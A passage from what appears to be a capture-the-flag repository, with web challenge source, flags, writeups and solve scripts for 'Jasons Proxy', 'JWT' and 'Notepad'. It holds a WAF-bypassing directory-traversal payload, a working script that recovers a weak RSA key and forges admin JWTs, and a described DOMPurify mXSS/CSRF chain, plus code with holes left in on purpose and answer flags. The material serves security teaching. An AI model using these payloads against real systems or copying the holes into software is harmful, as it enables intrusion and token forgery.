not in request.headers or is_localhost(request.headers["X-Real-Ip"]) or ipaddress.ip_address(request.headers["X-Real-Ip"]) in ipaddress.ip_network(LOCAL_CIDR, False)): print("Local network request!") print(request.headers["X-Real-Ip"]) else: print("Real IP doesn't exist") return render_template("forbidden.html"), 403 # Get last 5 logs # Write result to log lines=[] with open(LOG_FILE, "a+") as f: f.seek(0) lines=f.readlines() return render_template("admin.html", logs = lines[-5:], FLAG = FLAG) if __name__ == "__main__": app.run(host = "0.0.0.0") ================================================ FILE: web/inside-out/challenge/static/style.css ================================================ body { margin: 50px 200px; } ================================================ FILE: web/inside-out/challenge/templates/admin.html ================================================ {% extends 'base.html' %} {% block header %}

{% block title %}Admin Panel{% endblock %}

{% endblock %} {% block content %}

Lmao did they actually think we're not recording their requests 😂

{% for log in logs %}

{{log}}

{% endfor %}

{{ FLAG }}

Yes the IPs are not real {% endblock %} ================================================ FILE: web/inside-out/challenge/templates/base.html ================================================ {% block title %}{% endblock %}
{% block header %}{% endblock %} {% block content %}{% endblock %}
================================================ FILE: web/inside-out/challenge/templates/blacklist.html ================================================ {% extends "base.html" %} {% block header %}

{% block title %}Blacklisted{% endblock %}

{% endblock %} {% block content %} {% if loopback %}

Loopback address is not allowed

{% endif %} {% endblock %} ================================================ FILE: web/inside-out/challenge/templates/forbidden.html ================================================ {% extends 'base.html' %} {% block header %}

{% block title %}Forbidden{% endblock %}

{% endblock %} {% block content %}

Only accessible from the local network

{% endblock %} ================================================ FILE: web/inside-out/challenge/templates/index.html ================================================ {% extends 'base.html' %} {% block header %}

{% block title %}Index{% endblock %}

{% endblock %} {% block content %}

Welcome fellow hackers!

Need to hide your requests? You're in the right place.

Send your requests through our server and you'll never be found.

Proxy Example



We're DEFINITELY not recording your web requests.

{% endblock %} ================================================ FILE: web/inside-out/challenge/util.py ================================================ import socket import re import ipaddress import random def is_localhost(target): result = False # IPv4 try: ip = ipaddress.IPv4Address(socket.gethostbyname(target)) if ip.is_loopback: result = True except: pass # IPv6 try: ip = ipaddress.IPv6Address(socket.gethostbyname(socket.getaddrinfo(target, None, socket.AF_INET6)[0][4][0])) if ip.is_loopback: result = True except: pass # Test 0.0.0.0 bypass return result def get_title(html): title = "" try: find_title = re.search('<\W*title\W*(.*):) ## Handout files - ./web/app.py (sha256: 13f4cf2546ada9bb5a93e0aa4bc3e93d62cfb08190b2bba102d2894aad6679c6) - ./proxy.py (sha256: 9a15d35ad789ef8ea5e9d39b0aabb95b86a9f60f25b98faecce66b9809ac65fa) ## Installation Modify the environment variables within the dockerfiles to change the flag. |Filename|Variables| |-|-| |docker-compose|FLAG| |challenge.yml|FLAG| ================================================ FILE: web/jasons_proxy/WRITEUP.md ================================================ # Jasons Proxy Write Up 1. Create a new POST request to `/jason_loader` with the following POST body ``` {"img":"aHR0","img":"aHR0cDovLzEyNy4wLjAuMS9zdGF0aWMvaW1hZ2VzLyUyZSUyNTJlLyUyZSUyNTJlLyUyNTYxZG1pbi9mbCUyNTYxZw=="} ``` The above payload first exploits the vulnerability inside of the JSON parsing function where it fails to double check "checked" keys, bypassing the character filter. The payload must start with the string `http://127.0.0.1/static/images/` so the rest of the payload is a directory traversal double URL encoded to bypass checks at the proxy level. Finally the proxy requests the path `http://127.0.0.1/admin/flag`, the proxy then encodes the flag data in base64 and sends it back to the player. 2. Observe the flag data returned in base64 encoded form ``` {"imagedata": "RFVDVEZ7ZDB1YmwzX2pzMG5fZDB1YmwzX1VSSV9yMXBfajRzMG41X3A0dGhfdzF0aF9iMWdfaDR4eH0="} ``` ================================================ FILE: web/jasons_proxy/challenge.yml ================================================ version: "0.1" id: jasons-proxy name: Jasons Proxy category: web description: | NotCloudeFlare have been informed of a new up and coming rival CDN, Jasons Image Hosting. They want you to try and hack your way in >:) Author: xesh connection_info: ${url} tags: - hard files: - ./web/app.py - ./proxy.py flags: - DUCTF{d0ubl3_js0n_d0ubl3_URI_r1p_j4s0n5_p4th_w1th_b1g_h4xx} ================================================ FILE: web/jasons_proxy/docker-compose.yml ================================================ version: "2" services: web: environment: - FLAG=DUCTF{d0ubl3_js0n_d0ubl3_URI_r1p_j4s0n5_p4th_w1th_b1g_h4xx} build: . ports: - "5000:80" ================================================ FILE: web/jasons_proxy/proxy.py ================================================ #!/usr/bin/python3 import os import socketserver import urllib.request from os.path import abspath from http.server import SimpleHTTPRequestHandler from urllib.parse import unquote, urlparse, urljoin PORT = 9097 whitelist = ["http://127.0.0.1/static/images/", "http://localhost/static/images/"] blacklist = ["admin","flag"] remove_list = ["'","OR","SELECT","FROM",";","../","./","....//"] def waf(url): resp = unquote(url) whitelist_check = False for uri in whitelist: if resp.lower().startswith(uri): whitelist_check = uri break if whitelist_check == False: return None for forbidden in blacklist: if forbidden in resp.lower(): return None for badstr in remove_list: resp = resp.replace(badstr,"BLOCKEDBY1337WAF") resp = urlparse(resp) resp = unquote(abspath(resp.path)) return urljoin(whitelist_check,resp) class CDNProxy(SimpleHTTPRequestHandler): def do_GET(self): url = self.path[1:] print(self.headers) self.send_response(200) self.send_header("X-CDN","CDN-1337") self.end_headers() waf_result = waf(url) if waf_result: self.copyfile(urllib.request.urlopen(waf_result), self.wfile) else: self.wfile.write(bytes("1337 WAF blocked your request","utf-8")) httpd = socketserver.ForkingTCPServer(('', PORT), CDNProxy) print("Now serving at " + str(PORT)) httpd.serve_forever() ================================================ FILE: web/jasons_proxy/requirements.txt ================================================ flask requests gunicorn urllib3 ================================================ FILE: web/jasons_proxy/run.sh ================================================ #!/bin/bash echo "[*] Starting Proxy" cd / nohup python3 proxy.py & echo "[*] Starting challenge" cd /app gunicorn -w $WORKERS -b 0.0.0.0:80 --access-logfile - \ --access-logformat "%({x-forwarded-for}i)s %(l)s %(u)s %(t)s \"%(r)s\" %(s)s %(b)s \"%(f)s\" \"%(a)s\"" \ --forwarded-allow-ips=* app:app ================================================ FILE: web/jasons_proxy/web/app.py ================================================ #!/usr/bin/python3 import os from requests import get from base64 import b64encode, b64decode from flask import Flask, request, render_template app = Flask(__name__) class JSON(object): def __init__(self): self.forbidden = ["'","\"","{","}","[","]",",","(",")","\\",";","%"] self.checked = [] def _forbidden_chk(self, key, value): chk = False for bad in self.forbidden: if bad in key: chk = True break if bad in value: chk = True break return chk def _checked(self, key): chk = True if key in self.checked: chk = False return chk def _security(self, key, value): chk = False if not self._checked(key): return chk if self._forbidden_chk(key, value): chk = True if key == "img": value = b64decode(bytes(value,'utf-8')).decode() if self._forbidden_chk(key, value): chk = True if chk == False: self.checked.append(key) return chk def parse(self, data): parsed_data = [obj.replace("'",'').replace('"','').split(':') for obj in data.decode()[1:][:-1].split(',')] built_data = {} for obj in parsed_data: if len(obj) < 2 or self._security(obj[0], obj[1]): return "Jasons Secure JSON Parsing Blocked Your Request" if obj[0] == "img": obj[1] = b64decode(bytes(obj[1],'utf-8')).decode() built_data[obj[0]] = obj[1] return built_data def get_as_b64(img): try: if img.startswith('http://127.0.0.1/static/images/'): return b64encode(get("http://127.0.0.1:9097/"+img).content).decode() return None except Exception as e: return None @app.route('/') def _index(): return render_template('index.html') @app.route('/jason_loader', methods=['POST']) def _app_jason_loader(): if request.headers.get('Content-Type') != 'application/json': return '{"error": "invalid content type"}', 400 json = JSON() pdata = json.parse(request.data) if type(pdata) == str: return "{\"error\": \""+pdata+"\"}" img = pdata.get('img') if not img: return "{\"error\": \"Jasons JSON Security Module Triggered\"}" imgdata = '{"imagedata": "' + get_as_b64(img) + '"}' return imgdata, 200 @app.route('/admin/flag') def _flag(): if request.remote_addr != "127.0.0.1": return "Unauthorized.", 401 return str(os.environ.get('FLAG')), 200 if __name__ == "__main__": app.run(host='0.0.0.0',port=80,debug=False) ================================================ FILE: web/jasons_proxy/web/static/style.css ================================================ /* * Globals */ /* Custom default button */ .btn-secondary, .btn-secondary:hover, .btn-secondary:focus { color: #333; text-shadow: none; /* Prevent inheritance from `body` */ } /* * Base structure */ body { text-shadow: 0 .05rem .1rem rgba(0, 0, 0, .5); box-shadow: inset 0 0 5rem rgba(0, 128, 0, .2); } .cover-container { max-width: 42em; } .list-group-item { border-color: rgba(0, 128, 0, .2); } kbd { background-color: #111; } /* * Header */ .nav-masthead .nav-link { padding: .25rem 0; font-weight: 700; color: rgba(255, 255, 255, .5); background-color: transparent; border-bottom: .25rem solid transparent; } .nav-masthead .nav-link:hover, .nav-masthead .nav-link:focus { border-bottom-color: rgba(255, 255, 255, .25); } .nav-masthead .nav-link + .nav-link { margin-left: 1rem; } .nav-masthead .active { color: #fff; border-bottom-color: #fff; } /* * Cards */ .card { border-color: lime; box-shadow: 5px 10px 8px rgba(0, 128, 0, .2); } ================================================ FILE: web/jasons_proxy/web/templates/base.html ================================================ Jasons Image Hosting

Jasons Image Hosting

{% block content %} {% endblock %}
================================================ FILE: web/jasons_proxy/web/templates/index.html ================================================ {% extends "base.html" %} {% block content %}

Cool images huh?

Here are Jasons Image Hosting, we have developed a state of the art Content Distribution Network (CDN). Delivering super fast, super secure content. Contact Jason today to get your business setup with Jasons Image Hosting today!
{% endblock %} ================================================ FILE: web/jwt/Dockerfile ================================================ FROM tiangolo/uwsgi-nginx-flask:python3.8 RUN pip3 install pyjwt[crypto] COPY ./challenge/chall.py /app/main.py COPY ./challenge/priv /app/priv COPY ./challenge/pub /app/pub COPY ./challenge/flag.txt /app/flag.txt ================================================ FILE: web/jwt/README.md ================================================ # JWT **Author:** 247CTF.com **Category:** Web **Difficulty:** ? _Everyone knows you can offline brute force HS256. Is RS256 vulnerable too?_ ## Description When accessing the application URL, you are provided with the source code. The application has 2 routes - one to get a token and the other to get a flag. The token received sets your admin status as false - to get the flag you need a token which sets your admin status to true. The token is making use of RS256 and the public key is not disclosed - however the key can be derived from the tokens. Once derived, it can be noted that the public key is 'small' (773 bits) and can be factored. Once factored, the private key can be created and a token with the admin status set to true can be forged. ## Writeup 1. Get two JWT tokens (`curl 127.0.0.1:5000/get_token`) 2. Derive the public key (https://github.com/silentsignal/rsa_sign2n) 3. Extract the modulus (`openssl rsa -pubin -in blah -modulus`) 4. Factor the modulus (`./msieve -q blah`) 5. Create the private key (https://github.com/ius/rsatool) 6. Forge a token (`import jwt;private_key=open('priv').read();token=jwt.encode({'admin':True},private_key,algorithm='RS256')`) 7. Grab the flag (`curl -X POST -d "jwt=blah" http://127.0.0.1:5000/get_flag`) ================================================ FILE: web/jwt/challenge/chall.py ================================================ from flask import Flask, request import jwt, time, os app = Flask(__name__) app.config['SECRET_KEY'] = os.urandom(24) private_key = open('priv').read() public_key = open('pub').read() flag = open('flag.txt').read() @app.route("/get_token") def get_token(): return jwt.encode({'admin': False, 'now': time.time()}, private_key, algorithm='RS256') @app.route("/get_flag", methods=['POST']) def get_flag(): try: payload = jwt.decode(request.form['jwt'], public_key, algorithms=['RS256']) if payload['admin']: return flag except: return ":(" @app.route("/") def sauce(): return "
%s
" % open(__file__).read() if __name__ == "__main__": app.run(host="0.0.0.0", port=5000) ================================================ FILE: web/jwt/challenge/flag.txt ================================================ DUCTF{json_web_trickeryyy} ================================================ FILE: web/jwt/challenge/priv ================================================ -----BEGIN RSA PRIVATE KEY----- MIIB+wIBAAJhEIt8da7h4rnfNpKizFSxANERACGT68nDz1deSxb1lcwo2bR6ZdHzd0qj2wVkkIVY kjD+I7/MLvh2tBNNr95EhNe96Mm4ABbZya7VOgM0rjSDzIMzdDAeGngppfWACnk4AwIDAQABAmEK pfUIG6wBMAOtnv0vdki0XiDfW6KTMDRDvdcjryUdsIi8WaAV8ZW9z9XWw/v8U/4DrOzW5nJwm2Bw MRfpIfKlS/QW0gX/TR+btntJc6P8wnks0vynK8S9A+l4kegxYrSxAmEAkg0einG4Xq9r0BdE1shP effCNh+VXzu3s5B+LO38Vnz+rfKQwJ5230Nxe8WstSZdUSM/Bp0cGjkPCX5D24bGyaVx9Uz3LO0G 9F+g5aC2jw1fU/jyWe9iBCS/Gh7l4N6fAgEdAmBhCOJfrQqHrhj9WlhcMx3KtTeNahJ+AVkdrkSG aV+bvtQekehmcWIdF9wQFdeXS3P4cmhvZnbDXWGGNyOyeKseUhOSnJ4kdR6HwflOVyaziHjre5zY 79i5VAi7vAeTDZUCAQUCYG7MKNL1KsNqmGjlg6vEGPtsga15EDaXO+lTIe0eeM7aaO3kJzEFdKlf TUNp0nfE1AiWUx+AA6n2UgczpjybNbN0rroXE8nOS+WGVr/bBhQ/HC4MTevzZNcBZNYFyN+OZw== -----END RSA PRIVATE KEY----- ================================================ FILE: web/jwt/challenge/pub ================================================ -----BEGIN PUBLIC KEY----- MHwwDQYJKoZIhvcNAQEBBQADawAwaAJhEIt8da7h4rnfNpKizFSxANERACGT68nD z1deSxb1lcwo2bR6ZdHzd0qj2wVkkIVYkjD+I7/MLvh2tBNNr95EhNe96Mm4ABbZ ya7VOgM0rjSDzIMzdDAeGngppfWACnk4AwIDAQAB -----END PUBLIC KEY----- ================================================ FILE: web/jwt/challenge.yml ================================================ version: "0.1" id: jwt name: JWT category: web description: > Everyone knows you can offline brute force HS256. Is RS256 vulnerable too? Author: 247CTF.com connection_info: ${url} tags: - medium - crypto flags: - DUCTF{json_web_trickeryyy} ================================================ FILE: web/jwt/docker-compose.yml ================================================ version: '3' services: jwt: build: . ports: - "1337:80" ================================================ FILE: web/jwt/solve/requirements.txt ================================================ certifi==2021.5.30 cffi==1.14.6 charset-normalizer==2.0.4 cryptography==3.4.8 gmpy2==2.0.8 idna==3.2 pycparser==2.20 pycryptodome==3.10.1 PyJWT==2.1.0 requests==2.26.0 urllib3==1.26.6 ================================================ FILE: web/jwt/solve/solve.py ================================================ # solve script written by joseph import requests from hashlib import sha256 from base64 import urlsafe_b64decode from Crypto.PublicKey import RSA from Crypto.Util.number import bytes_to_long, long_to_bytes import gmpy2 def pkcs1_v1_5_encode(msg: bytes, n_len: int): SHA256_Digest_Info = b'\x30\x31\x30\x0D\x06\x09\x60\x86\x48\x01\x65\x03\x04\x02\x01\x05\x00\x04\x20' T = SHA256_Digest_Info + sha256(msg).digest() PS = b'\xFF' * (n_len - len(T) - 3) return b'\x00\x01' + PS + b'\x00' + T # from https://ctftime.org/writeup/26173 def get_magic(jwt): header, payload, signature = jwt.split(".") raw_signature = urlsafe_b64decode(f"{signature}==") raw_signature_int = gmpy2.mpz(bytes_to_long(raw_signature)) padded_msg = pkcs1_v1_5_encode(f"{header}.{payload}".encode(), len(raw_signature)) padded_int = gmpy2.mpz(bytes_to_long(padded_msg)) e = gmpy2.mpz(65537) return gmpy2.mpz(pow(raw_signature_int, e) - padded_int) jwt0 = requests.get('http://0.0.0.0:1337/get_token').text jwt1 = requests.get('http://0.0.0.0:1337/get_token').text # jwt0 = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJhZG1pbiI6ZmFsc2UsIm5vdyI6MTYzMDk4MTgwOS4xNjQzMDF9.BV5n_9LpciesgBgO8wy7owjMIQoFj5OPP1vsN-S_V47rZFnSrDYDooxeIT6f9369tC2-NOpusU_6Xfyh_TLTdiIZU9LeS-KNZlENsj2F5St6A6jXgdfq0aS27ltMHRSwVA' # jwt1 = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJhZG1pbiI6ZmFsc2UsIm5vdyI6MTYzMDk4MTgxOC45OTIzNzl9.CwYmWPSd4T8NHzi8YcfuCUTMHU4jwkFvzqPSzJnp3ItBmeu_bXDSB5_qng9lO80bQp-l7JFHgHwo9VYKac4xy9m9PGFq3NPJfpjLO59mkyMsNW5-uhVkRyh-rkQWma-sHA' magic0 = get_magic(jwt0) magic1 = get_magic(jwt1) N = int(gmpy2.gcd(magic0, magic1)) print(hex(N)) assert N % 29 == 0 p = 29 q = N//p e = 0x10001 d = pow(e, -1, (p-1)*(q-1)) # generate private key key = RSA.construct((N, e, d)) PRIV_KEY = key.exportKey().decode() print(PRIV_KEY) import jwt token = jwt.encode({'admin': True}, PRIV_KEY, algorithm='RS256') print(token) flag = requests.post('http://0.0.0.0:1337/get_flag', data={ 'jwt': token }) print(flag.text) ================================================ FILE: web/notepad/Dockerfile ================================================ FROM python:3.9-slim RUN pip install --no-cache-dir quart quart-rate-limiter aioredis requests uvicorn[standard] gunicorn WORKDIR /srv COPY ./src/ /srv/ COPY ./flag.txt /srv/ ENTRYPOINT [ "gunicorn", "-b", "0.0.0.0:5000", "-k", "uvicorn.workers.UvicornWorker", "app:app" ] ================================================ FILE: web/notepad/README.md ================================================ # Notepad **Category**: web **Difficulty**: Hard **Author**: todo#7331 ## Flavour I made a markdown editor for all your hacking notes! ## Description A CSRF challenge which aims to get users to weaponize a self XSS. Users able able to do a simple self stored xss using a well-known mxss payload to bypass dompurify. The difficulty will be to modify this payload into something that can perform non-trivial actions. Pretty much every page on the site is also vulnerable to CSRF attacks. Players can hence direct the admin to a custom site containing two iframes to perform a CSRF chain exploit in order to leak the content of a admin-only route. Difficulty is hard as it involves chaining together two medium-hard difficulty exploits. ## Writeup _A solve script can be found in ./solve - the hosts will need to be updated_ 1. Player notices the use of DOMPurify < 2.1.0, this has well known mxss bypasses. 1. e.g. `` 1. This payload needs to be slightly adapted since it is injected into a markdown environment which will wrap it in `

` 1. Since this is naive we can wrap this as `a

MXSS' \ '